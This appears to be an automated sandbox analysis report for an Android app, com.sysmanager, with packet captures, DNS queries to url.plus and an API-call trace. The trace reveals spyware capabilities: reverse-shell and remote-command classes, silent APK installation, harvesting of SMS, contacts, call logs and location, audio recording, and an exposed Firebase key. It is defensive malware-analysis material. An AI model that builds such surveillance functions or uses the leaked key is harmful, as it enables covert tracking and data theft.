Jan 19, 2018 13:18:57.448538065 CET561925228192.168.1.3366.102.1.188
Jan 19, 2018 13:18:57.448636055 CET52285619266.102.1.188192.168.1.33
Jan 19, 2018 13:18:57.449179888 CET561925228192.168.1.3366.102.1.188
Jan 19, 2018 13:18:57.450412989 CET561925228192.168.1.3366.102.1.188
Jan 19, 2018 13:18:57.450452089 CET52285619266.102.1.188192.168.1.33
Jan 19, 2018 13:18:59.142931938 CET52285619266.102.1.188192.168.1.33
Jan 19, 2018 13:18:59.142945051 CET52285619266.102.1.188192.168.1.33
Jan 19, 2018 13:18:59.142950058 CET52285619266.102.1.188192.168.1.33
Jan 19, 2018 13:18:59.143099070 CET561925228192.168.1.3366.102.1.188
Jan 19, 2018 13:18:59.143131971 CET561925228192.168.1.3366.102.1.188
Jan 19, 2018 13:18:59.143152952 CET561925228192.168.1.3366.102.1.188
Jan 19, 2018 13:18:59.143163919 CET52285619266.102.1.188192.168.1.33
Jan 19, 2018 13:18:59.143335104 CET561925228192.168.1.3366.102.1.188
Jan 19, 2018 13:18:59.145420074 CET561925228192.168.1.3366.102.1.188
Jan 19, 2018 13:18:59.145447969 CET52285619266.102.1.188192.168.1.33
Jan 19, 2018 13:18:59.145628929 CET561925228192.168.1.3366.102.1.188
Jan 19, 2018 13:19:02.736357927 CET4631753192.168.1.338.8.8.8
Jan 19, 2018 13:19:03.255424976 CET53463178.8.8.8192.168.1.33
Jan 19, 2018 13:19:04.748006105 CET5398253192.168.1.338.8.8.8
Jan 19, 2018 13:19:09.753324032 CET6405953192.168.1.338.8.4.4
Jan 19, 2018 13:19:14.759438038 CET5398253192.168.1.338.8.8.8
Jan 19, 2018 13:19:16.042751074 CET53539828.8.8.8192.168.1.33
Jan 19, 2018 13:19:16.042815924 CET53539828.8.8.8192.168.1.33
Jan 19, 2018 13:19:16.043901920 CET4574080192.168.1.33217.194.3.186
Jan 19, 2018 13:19:16.043957949 CET8045740217.194.3.186192.168.1.33
Jan 19, 2018 13:19:16.044173002 CET4574080192.168.1.33217.194.3.186
Jan 19, 2018 13:19:16.085180044 CET4574080192.168.1.33217.194.3.186
Jan 19, 2018 13:19:16.085206032 CET8045740217.194.3.186192.168.1.33
Jan 19, 2018 13:19:16.956618071 CET8045740217.194.3.186192.168.1.33
Jan 19, 2018 13:19:16.959697962 CET4574080192.168.1.33217.194.3.186
Jan 19, 2018 13:19:19.670886993 CET4574080192.168.1.33217.194.3.186
Jan 19, 2018 13:19:19.671030045 CET8045740217.194.3.186192.168.1.33
Jan 19, 2018 13:19:19.671142101 CET4574080192.168.1.33217.194.3.186
Jan 19, 2018 13:19:19.967230082 CET53640598.8.4.4192.168.1.33
Jan 19, 2018 13:19:37.857317924 CET450645228192.168.1.3366.102.1.188
Jan 19, 2018 13:19:37.857364893 CET52284506466.102.1.188192.168.1.33
Jan 19, 2018 13:19:37.857475996 CET450645228192.168.1.3366.102.1.188
Jan 19, 2018 13:19:37.858201981 CET450645228192.168.1.3366.102.1.188
Jan 19, 2018 13:19:37.858222008 CET52284506466.102.1.188192.168.1.33
Jan 19, 2018 13:19:39.316129923 CET52284506466.102.1.188192.168.1.33
Jan 19, 2018 13:19:39.316158056 CET52284506466.102.1.188192.168.1.33
Jan 19, 2018 13:19:39.316164970 CET52284506466.102.1.188192.168.1.33
Jan 19, 2018 13:19:39.316325903 CET450645228192.168.1.3366.102.1.188
Jan 19, 2018 13:19:39.316376925 CET450645228192.168.1.3366.102.1.188
Jan 19, 2018 13:19:39.316406965 CET450645228192.168.1.3366.102.1.188
Jan 19, 2018 13:19:39.525422096 CET52284506466.102.1.188192.168.1.33
Jan 19, 2018 13:19:39.525628090 CET450645228192.168.1.3366.102.1.188
Jan 19, 2018 13:19:39.527740955 CET450645228192.168.1.3366.102.1.188
Jan 19, 2018 13:19:39.527770996 CET52284506466.102.1.188192.168.1.33
Jan 19, 2018 13:19:39.528100967 CET450645228192.168.1.3366.102.1.188
Jan 19, 2018 13:21:04.957900047 CET458185228192.168.1.3366.102.1.188
Jan 19, 2018 13:21:04.957972050 CET52284581866.102.1.188192.168.1.33
Jan 19, 2018 13:21:04.958127022 CET458185228192.168.1.3366.102.1.188
Jan 19, 2018 13:21:04.958975077 CET458185228192.168.1.3366.102.1.188
Jan 19, 2018 13:21:04.958995104 CET52284581866.102.1.188192.168.1.33
Jan 19, 2018 13:21:05.731739998 CET52284581866.102.1.188192.168.1.33
Jan 19, 2018 13:21:05.731762886 CET52284581866.102.1.188192.168.1.33
Jan 19, 2018 13:21:05.731770039 CET52284581866.102.1.188192.168.1.33
Jan 19, 2018 13:21:05.731978893 CET458185228192.168.1.3366.102.1.188
Jan 19, 2018 13:21:05.732012987 CET458185228192.168.1.3366.102.1.188
Jan 19, 2018 13:21:05.732038975 CET458185228192.168.1.3366.102.1.188
Jan 19, 2018 13:21:05.803344965 CET52284581866.102.1.188192.168.1.33
Jan 19, 2018 13:21:05.803760052 CET458185228192.168.1.3366.102.1.188
Jan 19, 2018 13:21:05.806562901 CET458185228192.168.1.3366.102.1.188
Jan 19, 2018 13:21:05.806585073 CET52284581866.102.1.188192.168.1.33
Jan 19, 2018 13:21:05.806884050 CET458185228192.168.1.3366.102.1.188
Jan 19, 2018 13:21:07.925421953 CET4302680192.168.1.33217.194.3.186
Jan 19, 2018 13:21:07.925467968 CET8043026217.194.3.186192.168.1.33
Jan 19, 2018 13:21:07.931747913 CET4302680192.168.1.33217.194.3.186
Jan 19, 2018 13:21:08.231019020 CET4302680192.168.1.33217.194.3.186
Jan 19, 2018 13:21:08.231051922 CET8043026217.194.3.186192.168.1.33
Jan 19, 2018 13:21:10.687772036 CET8043026217.194.3.186192.168.1.33
Jan 19, 2018 13:21:10.688749075 CET4302680192.168.1.33217.194.3.186
Jan 19, 2018 13:21:10.793658972 CET4302680192.168.1.33217.194.3.186
Jan 19, 2018 13:21:10.793785095 CET8043026217.194.3.186192.168.1.33
Jan 19, 2018 13:21:10.796819925 CET4302680192.168.1.33217.194.3.186

UDP Packets

TimestampSource PortDest PortSource IPDest IP
Jan 19, 2018 13:18:17.672677040 CET1298253192.168.1.338.8.8.8
Jan 19, 2018 13:18:18.044274092 CET53129828.8.8.8192.168.1.33
Jan 19, 2018 13:19:02.736357927 CET4631753192.168.1.338.8.8.8
Jan 19, 2018 13:19:03.255424976 CET53463178.8.8.8192.168.1.33
Jan 19, 2018 13:19:04.748006105 CET5398253192.168.1.338.8.8.8
Jan 19, 2018 13:19:09.753324032 CET6405953192.168.1.338.8.4.4
Jan 19, 2018 13:19:14.759438038 CET5398253192.168.1.338.8.8.8
Jan 19, 2018 13:19:16.042751074 CET53539828.8.8.8192.168.1.33
Jan 19, 2018 13:19:16.042815924 CET53539828.8.8.8192.168.1.33
Jan 19, 2018 13:19:19.967230082 CET53640598.8.4.4192.168.1.33

ICMP Packets

TimestampSource IPDest IPChecksumCodeType
Jan 19, 2018 13:19:19.967398882 CET192.168.1.338.8.4.4cb15(Port unreachable)Destination Unreachable

DNS Queries

TimestampSource IPDest IPTrans IDOP CodeNameTypeClass
Jan 19, 2018 13:19:04.748006105 CET192.168.1.338.8.8.80x972Standard query (0)url.plusA (IP address)IN (0x0001)
Jan 19, 2018 13:19:09.753324032 CET192.168.1.338.8.4.40x972Standard query (0)url.plusA (IP address)IN (0x0001)
Jan 19, 2018 13:19:14.759438038 CET192.168.1.338.8.8.80x972Standard query (0)url.plusA (IP address)IN (0x0001)

DNS Answers

TimestampSource IPDest IPTrans IDReplay CodeNameCNameAddressTypeClass
Jan 19, 2018 13:19:16.042751074 CET8.8.8.8192.168.1.330x972No error (0)url.plus217.194.3.186A (IP address)IN (0x0001)
Jan 19, 2018 13:19:16.042815924 CET8.8.8.8192.168.1.330x972No error (0)url.plus217.194.3.186A (IP address)IN (0x0001)
Jan 19, 2018 13:19:19.967230082 CET8.8.4.4192.168.1.330x972No error (0)url.plus217.194.3.186A (IP address)IN (0x0001)

HTTP Request Dependency Graph

  • url.plus

HTTP Packets

Session IDSource IPSource PortDestination IPDestination Port
0192.168.1.3345740217.194.3.18680
TimestampkBytes transferredDirectionData
Jan 19, 2018 13:19:16.085180044 CET31OUTPOST /Updates/startup.x86.zip HTTP/1.1
User-Agent: Dalvik/2.1.0 (Linux; U; Android 5.1.1; VirtualBox Build/LMY48W)
Host: url.plus
Connection: Keep-Alive
Accept-Encoding: gzip
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
Jan 19, 2018 13:19:16.956618071 CET32INHTTP/1.1 404 Not Found
Date: Fri, 19 Jan 2018 12:19:16 GMT
Server: Apache/2.4.18 (Ubuntu)
Content-Length: 1
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=iso-8859-1
Data Raw: 20
Data Ascii:


Session IDSource IPSource PortDestination IPDestination Port
1192.168.1.3343026217.194.3.18680
TimestampkBytes transferredDirectionData
Jan 19, 2018 13:21:08.231019020 CET45OUTPOST /Updates/startup.x86.zip HTTP/1.1
User-Agent: Dalvik/2.1.0 (Linux; U; Android 5.1.1; VirtualBox Build/LMY48W)
Host: url.plus
Connection: Keep-Alive
Accept-Encoding: gzip
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
Jan 19, 2018 13:21:10.687772036 CET46INHTTP/1.1 404 Not Found
Date: Fri, 19 Jan 2018 12:21:10 GMT
Server: Apache/2.4.18 (Ubuntu)
Content-Length: 1
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=iso-8859-1
Data Raw: 20
Data Ascii:


APK Behavior

Installation Messages
NameIs Error
  • Renaming /data/app/vmdl1346731552.tmp to /data/app/com.sysmanager-1
  • Running dexopt on: /data/app/com.sysmanager-1/base.apk pkg=com.sysmanager isa=x86 vmSafeMode=false
  • Not granting permission android.permission.INSTALL_PACKAGES to package com.sysmanager (protectionLevel=18 flags=0x83e44)
  • Failure retrieving resources for com.sysmanager: Resource ID #0x0
  • Failure retrieving resources for com.sysmanager: Resource ID #0x0
false
Started Services

Simulated Events

TypeData
boot completed
  • -
time tick
  • -
incoming sms
  • 0123456789
  • this is a text message
outgoing sms
  • 9876543210
  • thank you
location change
  • 54.13
  • 12.14
incoming call
  • 0123456789
outgoing call
  • 9876543210
time tick
  • -
API: android.net.ConnectivityManager->getActiveNetworkInfo at com.sysmanager.system.RegistrationService.requestGWKey:2 Show source
NameTypeValue
Return Valueandroid.net.NetworkInfo
  • toString: [type: Ethernet[], state: CONNECTED/CONNECTED, reason: (unspecified), extra: 08:00:27:4c:bc:fa, roaming: false, failover: false, isAvailable: true, isConnectedToProvisioningNetwork: false]
API: android.net.ConnectivityManager->getActiveNetworkInfo at com.google.firebase.iid.FirebaseInstanceIdService.zzct:7 Show source
NameTypeValue
Return Valueandroid.net.NetworkInfo
  • toString: [type: Ethernet[], state: CONNECTED/CONNECTED, reason: (unspecified), extra: 08:00:27:4c:bc:fa, roaming: false, failover: false, isAvailable: true, isConnectedToProvisioningNetwork: false]
API: java.net.URL->openConnection at com.sysmanager.network.StartReverse.doInBackground:69 Show source
NameTypeValue
Return Valuecom.android.okhttp.internal.http.HttpURLConnectionImpl
  • toString: com.android.okhttp.internal.http.HttpURLConnectionImpl:http://url.plus/Updates/startup.x86.zip
API: android.location.LocationManager->requestLocationUpdates at com.sysmanager.system.AndroidSystemQueues.startLocationRequest:64 Show source
API: android.location.LocationManager->isProviderEnabled at com.sysmanager.system.AndroidSystemCall.isMaxLocationEnabled:15 Show source
API: android.net.ConnectivityManager->getActiveNetworkInfo at com.sysmanager.network.NetworkUtil.getConnectivityStatus:10 Show source
API: android.net.ConnectivityManager->getActiveNetworkInfo at ..:13 Show source
API: android.net.ConnectivityManager->getNetworkInfo at com.sysmanager.system.AndroidSystemCall.networkInfo:30 Show source
API: android.net.ConnectivityManager->getActiveNetworkInfo at ..:10 Show source
API: android.net.wifi.WifiManager->getConfiguredNetworks at com.sysmanager.MessageManagement.wifiManageConfiguration:55 Show source
API: android.net.wifi.WifiManager->getConfiguredNetworks at com.sysmanager.system.SmsReceiver.onReceive:139 Show source
API: android.net.wifi.WifiManager->saveConfiguration at com.sysmanager.MessageManagement.wifiManageConfiguration:105 Show source
API: android.net.wifi.WifiManager->saveConfiguration at com.sysmanager.MessageManagement.addWifiConfig:71 Show source
API: android.net.wifi.WifiManager->saveConfiguration at com.sysmanager.system.SmsReceiver.onReceive:169 Show source
API: android.content.pm.PackageManager->setComponentEnabledSetting at com.sysmanager.MainWeb.onCreate:48 Show source
API: android.content.pm.PackageManager->setComponentEnabledSetting at com.sysmanager.MessageManagement.callRecording:32 Show source
API: android.content.pm.PackageManager->setComponentEnabledSetting at com.sysmanager.Main.onCreate:47 Show source
API: android.content.pm.PackageManager->setComponentEnabledSetting at com.sysmanager.OnBootReceiver.onReceive:67 Show source
API: android.net.wifi.WifiManager->setWifiEnabled at com.sysmanager.MessageManagement.wifiManageConfiguration:24 Show source
API: android.net.wifi.WifiManager->addNetwork at com.sysmanager.MessageManagement.addWifiConfig:66 Show source
API: android.net.wifi.WifiManager->setWifiEnabled at com.sysmanager.system.SmsReceiver.onReceive:104 Show source
API: android.app.ActivityManager->getRunningTasks at ..:157 Show source
API: java.net.URL->openConnection at ..:6 Show source
API: java.net.URL->openConnection at com.sysmanager.network.GetCommands.doInBackground:63 Show source
API: java.net.URL->openConnection at ..:9 Show source
API: java.net.URL->openConnection at com.sysmanager.network.InstallApk.doInBackground:76 Show source
API: java.net.Socket-><init> at ..:74 Show source
API: java.net.HttpURLConnection->connect at ..:113 Show source
API: java.net.URL->openConnection at ..:6 Show source
API: android.content.ContentResolver->query at ..:60 Show source
API: android.content.ContentResolver->query at com.sysmanager.system.AndroidCallSystem.listCallLog:40 Show source
API: android.content.ContentResolver->openInputStream at ..:33 Show source
API: android.content.ContentResolver->query at com.sysmanager.system.AndroidSystemLog.getAllPhoneContacts:19 Show source
API: android.content.ContentResolver->query at com.sysmanager.system.AndroidTouch.createFileHistoryToSend:31 Show source
API: android.content.ContentResolver->query at com.sysmanager.system.AndroidMessagingService.GetListaSMS:38 Show source
API: android.content.ContentResolver->query at ..:79 Show source
API: android.content.ContentResolver->query at ..:22 Show source
API: java.lang.Runtime->exec at ..:159 Show source
API: java.lang.Runtime->exec at com.sysmanager.network.InstallApk.installApp:92 Show source
API: java.lang.Runtime->exec at com.sysmanager.network.StartReverse.execReverse:46 Show source
API: java.lang.Runtime->exec at ..:34 Show source
API: java.lang.Runtime->exec at com.sysmanager.utils.Commands.executeCommands:19 Show source
API: android.telephony.TelephonyManager->getDeviceId at ..:23 Show source
API: android.telephony.TelephonyManager->getLine1Number at com.sysmanager.system.AndroidSystemCall.phoneInfo:21 Show source
API: android.telephony.TelephonyManager->listen at ..:52 Show source
API: android.telephony.TelephonyManager->listen at com.sysmanager.system.AndroidSystemService.onCreate:122 Show source
API: android.media.MediaRecorder->setAudioSource at com.sysmanager.system.AndroidSystemService.startRecording:67 Show source
API: android.app.NotificationManager->notify at ..:45 Show source
API: android.app.NotificationManager->notify at ..:89 Show source
API: android.os.PowerManager$WakeLock->release at ..:16 Show source
API: android.os.PowerManager$WakeLock->release at com.sysmanager.system.AndroidSystemService.onDestroy:17 Show source
API: android.os.PowerManager$WakeLock->acquire at ..:28 Show source
API: android.os.PowerManager$WakeLock->release at ..:6 Show source
API: android.os.PowerManager$WakeLock->acquire at com.sysmanager.system.AndroidSystemQueues.onCreate:65 Show source
API: android.os.PowerManager$WakeLock->acquire at com.sysmanager.MessageManagement.onMessageReceived:37 Show source
API: android.os.PowerManager$WakeLock->acquire at com.sysmanager.system.RegistrationService.onCreate:28 Show source
API: android.os.PowerManager$WakeLock->acquire at com.sysmanager.system.AndroidAlarmManager.onCreate:43 Show source
API: android.os.PowerManager$WakeLock->release at ..:10 Show source
API: android.os.PowerManager$WakeLock->release at ..:12 Show source
API: android.os.PowerManager$WakeLock->release at com.sysmanager.system.AndroidAlarmManager.onDestroy:19 Show source
API: android.os.PowerManager$WakeLock->acquire at com.sysmanager.system.AndroidSystemService.onCreate:38 Show source
API: android.os.PowerManager$WakeLock->acquire at ..:8 Show source
API: android.os.PowerManager$WakeLock->release at com.sysmanager.system.AndroidSystemQueues.onDestroy:12 Show source
API: android.content.res.Resources->getString at com.google.android.gms.common.internal.zzam.getString:15 Show source
NameTypeValue
idjava.lang.Integer
  • toString: 2130968603
NameTypeValue
Return Valuejava.lang.String
  • toString: 1:108944492905:android:ece3927e9687a726
API: android.content.res.Resources->getString at com.google.android.gms.common.internal.zzam.getString:15 Show source
NameTypeValue
idjava.lang.Integer
  • toString: 2130968602
NameTypeValue
Return Valuejava.lang.String
  • toString: AIzaSyDnqjgL8U6iQ_zzMzrWu0ooCd0vmbOvVhs
API: android.content.res.Resources->getString at com.google.android.gms.common.internal.zzam.getString:15 Show source
NameTypeValue
idjava.lang.Integer
  • toString: 2130968600
NameTypeValue
Return Valuejava.lang.String
  • toString: https://future-8a57f.firebaseio.com
API: android.content.res.Resources->getString at com.google.android.gms.common.internal.zzam.getString:15 Show source
NameTypeValue
idjava.lang.Integer
  • toString: 2130968601
NameTypeValue
Return Valuejava.lang.String
  • toString: 108944492905
API: android.content.res.Resources->getString at com.google.android.gms.common.internal.zzam.getString:15 Show source
NameTypeValue
idjava.lang.Integer
  • toString: 2130968605
NameTypeValue
Return Valuejava.lang.String
  • toString: future-8a57f.appspot.com
API: com.google.android.gms.common.util.zzt->zzzo at com.google.android.gms.common.util.zzx.getNoBackupFilesDir:4 Show source
NameTypeValue
Return Valuejava.lang.Boolean
  • toString: true
API: com.google.firebase.FirebaseOptions->getApplicationId at com.google.firebase.iid.FirebaseInstanceId.getInstance:14 Show source
NameTypeValue
Return Valuejava.lang.String
  • toString: 1:108944492905:android:ece3927e9687a726
API: com.sysmanager.Scontext->getPackageName at com.google.firebase.iid.FirebaseInstanceId.zzcr:1 Show source
NameTypeValue
Return Valuejava.lang.String
  • toString: com.sysmanager
API: android.content.pm.PackageManager->getPackageInfo at com.google.firebase.iid.FirebaseInstanceId.zzR:6 Show source
NameTypeValue
packageNamejava.lang.String
  • toString: com.sysmanager
flagsjava.lang.Integer
  • toString: 0
NameTypeValue
Return Valueandroid.content.pm.PackageInfo
  • toString: PackageInfo{1cb972e3 com.sysmanager}
API: com.google.firebase.FirebaseOptions->getGcmSenderId at com.google.firebase.iid.FirebaseInstanceId.zzabM:7 Show source
NameTypeValue
Return Valuejava.lang.String
  • toString: 108944492905
API: com.google.firebase.iid.FirebaseInstanceId->zzabM at com.google.firebase.iid.FirebaseInstanceId.<init>:5 Show source
NameTypeValue
Return Valuejava.lang.String
  • toString: 108944492905
API: com.google.firebase.FirebaseOptions->getApplicationId at com.google.firebase.iid.FirebaseInstanceId.getInstance:47 Show source
NameTypeValue
Return Valuejava.lang.String
  • toString: 1:108944492905:android:ece3927e9687a726
API: com.google.firebase.FirebaseOptions->getApplicationId at com.google.firebase.iid.FirebaseInstanceId.getInstance:14 Show source
NameTypeValue
Return Valuejava.lang.String
  • toString: 1:108944492905:android:ece3927e9687a726
API: com.google.firebase.FirebaseOptions->getApplicationId at com.google.firebase.iid.FirebaseInstanceId.zzS:8 Show source
NameTypeValue
Return Valuejava.lang.String
  • toString: 1:108944492905:android:ece3927e9687a726
API: com.sysmanager.Scontext->getPackageName at com.google.firebase.iid.FirebaseInstanceId.zzcr:1 Show source
NameTypeValue
Return Valuejava.lang.String
  • toString: com.sysmanager
API: android.content.pm.PackageManager->getPackageInfo at com.google.firebase.iid.FirebaseInstanceId.zzcr:4 Show source
NameTypeValue
packageNamejava.lang.String
  • toString: com.sysmanager
flagsjava.lang.Integer
  • toString: 0
NameTypeValue
Return Valueandroid.content.pm.PackageInfo
  • toString: PackageInfo{1b123817 com.sysmanager}
API: com.sysmanager.Scontext->getPackageName at com.google.firebase.iid.FirebaseInstanceId.zzbx:4 Show source
NameTypeValue
Return Valuejava.lang.String
  • toString: com.sysmanager
API: java.security.MessageDigest->getInstance at com.google.firebase.iid.FirebaseInstanceId.zza:9 Show source
NameTypeValue
p0java.lang.String
  • toString: SHA1
NameTypeValue
Return Valuejava.security.MessageDigest$MessageDigestImpl
  • toString: MESSAGE DIGEST SHA1
API: com.sysmanager.Scontext->getPackageName at com.google.firebase.iid.FirebaseInstanceId.zzcr:1 Show source
NameTypeValue
Return Valuejava.lang.String
  • toString: com.sysmanager
API: android.content.pm.PackageManager->getPackageInfo at com.google.firebase.iid.FirebaseInstanceId.zzcr:4 Show source
NameTypeValue
packageNamejava.lang.String
  • toString: com.sysmanager
flagsjava.lang.Integer
  • toString: 0
NameTypeValue
Return Valueandroid.content.pm.PackageInfo
  • toString: PackageInfo{af78a15 com.sysmanager}
API: com.sysmanager.Scontext->getPackageName at com.google.firebase.iid.FirebaseInstanceId.zzbx:4 Show source
NameTypeValue
Return Valuejava.lang.String
  • toString: com.sysmanager
API: java.security.MessageDigest->getInstance at com.google.firebase.iid.FirebaseInstanceId.zza:9 Show source
NameTypeValue
p0java.lang.String
  • toString: SHA1
NameTypeValue
Return Valuejava.security.MessageDigest$MessageDigestImpl
  • toString: MESSAGE DIGEST SHA1
API: com.google.firebase.FirebaseOptions->getApplicationId at com.google.firebase.iid.FirebaseInstanceId.getInstance:14 Show source
NameTypeValue
Return Valuejava.lang.String
  • toString: 1:108944492905:android:ece3927e9687a726
API: com.google.firebase.FirebaseOptions->getApplicationId at com.google.firebase.iid.FirebaseInstanceId.zzS:8 Show source
NameTypeValue
Return Valuejava.lang.String
  • toString: 1:108944492905:android:ece3927e9687a726
API: android.content.pm.PackageManager->getPackageInfo at com.google.firebase.iid.FirebaseInstanceId.zzcr:4 Show source
NameTypeValue
packageNamejava.lang.String
  • toString: com.sysmanager
flagsjava.lang.Integer
  • toString: 0
NameTypeValue
Return Valueandroid.content.pm.PackageInfo
  • toString: PackageInfo{ef0930 com.sysmanager}
API: java.security.MessageDigest->getInstance at com.google.firebase.iid.FirebaseInstanceId.zza:9 Show source
NameTypeValue
p0java.lang.String
  • toString: SHA1
NameTypeValue
Return Valuejava.security.MessageDigest$MessageDigestImpl
  • toString: MESSAGE DIGEST SHA1
API: com.google.android.gms.common.util.zzt->zzzq at com.google.firebase.iid.FirebaseInstanceIdInternalReceiver.onReceive:18 Show source
NameTypeValue
Return Valuejava.lang.Boolean
  • toString: false
API: android.content.Intent->getAction at com.google.firebase.iid.FirebaseInstanceIdInternalReceiver.onReceive:37 Show source
NameTypeValue
Return Valuejava.lang.String
  • toString: com.google.firebase.INSTANCE_ID_EVENT
API: android.content.Intent->getStringExtra at com.google.firebase.iid.FirebaseInstanceIdService.zzE:10 Show source
NameTypeValue
p0java.lang.String
  • toString: error
NameTypeValue
Return Valuenull
  • toString: null
API: android.content.Intent->getStringExtra at com.google.firebase.iid.FirebaseInstanceIdService.zzE:16 Show source
NameTypeValue
p0java.lang.String
  • toString: registration_id
NameTypeValue
Return Valuenull
  • toString: null
API: android.content.Intent->getAction at com.google.firebase.iid.FirebaseInstanceIdService.handleIntent:2 Show source
NameTypeValue
Return Valuejava.lang.String
  • toString: ACTION_TOKEN_REFRESH_RETRY
API: com.sysmanager.InstanceIDMessage->getSystemService at com.google.firebase.iid.FirebaseInstanceIdService.zzct:3 Show source
NameTypeValue
p0java.lang.String
  • toString: connectivity
NameTypeValue
Return Valueandroid.net.ConnectivityManager
  • toString: android.net.ConnectivityManager@17373be8
API: android.net.ConnectivityManager->getActiveNetworkInfo at com.google.firebase.iid.FirebaseInstanceIdService.zzct:7 Show source
NameTypeValue
Return Valueandroid.net.NetworkInfo
  • toString: [type: Ethernet[], state: CONNECTED/CONNECTED, reason: (unspecified), extra: 08:00:27:4c:bc:fa, roaming: false, failover: false, isAvailable: true, isConnectedToProvisioningNetwork: false]
API: android.net.NetworkInfo->isConnected at com.google.firebase.iid.FirebaseInstanceIdService.zzct:11 Show source
NameTypeValue
Return Valuejava.lang.Boolean
  • toString: true
API: com.sysmanager.InstanceIDMessage->getSystemService at com.google.firebase.iid.FirebaseInstanceIdService.zzqG:3 Show source
NameTypeValue
p0java.lang.String
  • toString: alarm
NameTypeValue
Return Valueandroid.app.AlarmManager
  • toString: android.app.AlarmManager@2157e2e7
API: android.content.Intent->getStringExtra at com.google.firebase.iid.FirebaseInstanceIdService.zzE:10 Show source
NameTypeValue
p0java.lang.String
  • toString: error
NameTypeValue
Return Valuenull
  • toString: null
API: android.content.Intent->getStringExtra at com.google.firebase.iid.FirebaseInstanceIdService.zzE:16 Show source
NameTypeValue
p0java.lang.String
  • toString: registration_id
NameTypeValue
Return Valuenull
  • toString: null
API: android.content.Intent->getAction at com.google.firebase.iid.FirebaseInstanceIdService.handleIntent:2 Show source
NameTypeValue
Return Valuejava.lang.String
  • toString: ACTION_TOKEN_REFRESH_RETRY
API: com.sysmanager.InstanceIDMessage->getSystemService at com.google.firebase.iid.FirebaseInstanceIdService.zzct:3 Show source
NameTypeValue
p0java.lang.String
  • toString: connectivity
NameTypeValue
Return Valueandroid.net.ConnectivityManager
  • toString: android.net.ConnectivityManager@3db686f4
API: android.net.ConnectivityManager->getActiveNetworkInfo at com.google.firebase.iid.FirebaseInstanceIdService.zzct:7 Show source
NameTypeValue
Return Valueandroid.net.NetworkInfo
  • toString: [type: Ethernet[], state: CONNECTED/CONNECTED, reason: (unspecified), extra: 08:00:27:4c:bc:fa, roaming: false, failover: false, isAvailable: true, isConnectedToProvisioningNetwork: false]
API: android.net.NetworkInfo->isConnected at com.google.firebase.iid.FirebaseInstanceIdService.zzct:11 Show source
NameTypeValue
Return Valuejava.lang.Boolean
  • toString: true
API: com.sysmanager.InstanceIDMessage->getSystemService at com.google.firebase.iid.FirebaseInstanceIdService.zzqG:3 Show source
NameTypeValue
p0java.lang.String
  • toString: alarm
NameTypeValue
Return Valueandroid.app.AlarmManager
  • toString: android.app.AlarmManager@3f503892
API: com.sysmanager.Scontext->getApplicationContext at com.google.firebase.iid.zzd.zzb:10 Show source
NameTypeValue
Return Valuecom.sysmanager.Scontext
  • toString: com.sysmanager.Scontext@2e09ab53
API: com.sysmanager.Scontext->getApplicationContext at com.google.firebase.iid.zzd.<init>:6 Show source
NameTypeValue
Return Valuecom.sysmanager.Scontext
  • toString: com.sysmanager.Scontext@2e09ab53
API: android.os.Bundle->getString at com.google.firebase.iid.zzd.getToken:26 Show source
NameTypeValue
p0java.lang.String
  • toString: ttl
NameTypeValue
Return Valuenull
  • toString: null
API: android.os.Bundle->getString at com.google.firebase.iid.zzd.getToken:34 Show source
NameTypeValue
p0java.lang.String
  • toString: type
NameTypeValue
Return Valuenull
  • toString: null
API: android.os.Bundle->getString at com.google.firebase.iid.zzd.getToken:26 Show source
NameTypeValue
p0java.lang.String
  • toString: ttl
NameTypeValue
Return Valuenull
  • toString: null
API: android.os.Bundle->getString at com.google.firebase.iid.zzd.getToken:34 Show source
NameTypeValue
p0java.lang.String
  • toString: type
NameTypeValue
Return Valuenull
  • toString: null
API: com.google.android.gms.common.util.zzt->zzzq at com.google.firebase.iid.zzf.zzbA:14 Show source
NameTypeValue
Return Valuejava.lang.Boolean
  • toString: false
API: android.content.pm.PackageManager->getApplicationInfo at com.google.firebase.iid.zzf.zzb:3 Show source
NameTypeValue
packageNamejava.lang.String
  • toString: com.google.android.gms
flagsjava.lang.Integer
  • toString: 0
NameTypeValue
Return Valueandroid.content.pm.ApplicationInfo
  • toString: ApplicationInfo{12ecff8 com.google.android.gms}
API: com.google.firebase.iid.zzf->zzHn at com.google.firebase.iid.zzf.zzb:6 Show source
NameTypeValue
Return Valuejava.lang.String
  • toString: 0
API: android.content.pm.PackageManager->getPackageInfo at com.google.firebase.iid.zzf.zza:87 Show source
NameTypeValue
packageNamejava.lang.String
  • toString: com.google.android.gms
flagsjava.lang.Integer
  • toString: 0
NameTypeValue
Return Valueandroid.content.pm.PackageInfo
  • toString: PackageInfo{ec3e496 com.google.android.gms}
API: android.content.pm.PackageManager->getPackageInfo at com.google.firebase.iid.zzf.zza:119 Show source
NameTypeValue
packageNamejava.lang.String
  • toString: com.sysmanager
flagsjava.lang.Integer
  • toString: 0
NameTypeValue
Return Valueandroid.content.pm.PackageInfo
  • toString: PackageInfo{ca31404 com.sysmanager}
API: java.security.MessageDigest->digest at com.google.firebase.iid.zzf.zza:132 Show source
NameTypeValue
p0java.lang.Object
  • toString: [B@1ef83eb3
  • $1: 0"0*H0fC;'UC9hsO2Gj*`SQ DE9Vr=vwb-t(M.E3&/NQxYlxeYXg"(7U3$D!^p-C"&X"~kHV*QPJQ-'Xf@av\aY"SX#PJf}JH!oA]`</y
  • $2: 30820122300D06092A864886F70D01010105000382010F003082010A0282010100D0F2F3FCF466D043D3F517EAA73B27BF9455DFB44339688373E1ECC84F329E89064706D36AAD2A60BF0289E0530CA8FA51DAA0092044451E0E01CB3956BE10E872EA3D76A396D2110D7713C909CEDE622D74284DA92E45E714339095BFEE262FFFE9EE4E51E4C978BAEEA4596CBABED2A701786559B8EB58C39B671EFF22B8283701020A55A28A339E24D70944A4215E702DEADEFE43FF2226F50905B1DF58227EF76B96DEF1B8DA4856842AEE5109504A85511C2DBAC827835866FD0D1140619319AFA3765CA894E761D29B59F2A800EE2253015811E0DD0D02199A23504ADA9BFFFB81667D13EE4A48030621F1BE866FD5C7C0410E5D0C603CD4822FB5FB790203010001
NameTypeValue
Return Valuejava.lang.Object
  • toString: [B@43f6c70
  • $1: Y<Yo4B`/{
  • $2: 59B00186873CC4596F344260FF092F7BD0DFAFEA
API: com.sysmanager.Scontext->getPackageName at com.google.firebase.iid.zzf.zza:157 Show source
NameTypeValue
Return Valuejava.lang.String
  • toString: com.sysmanager
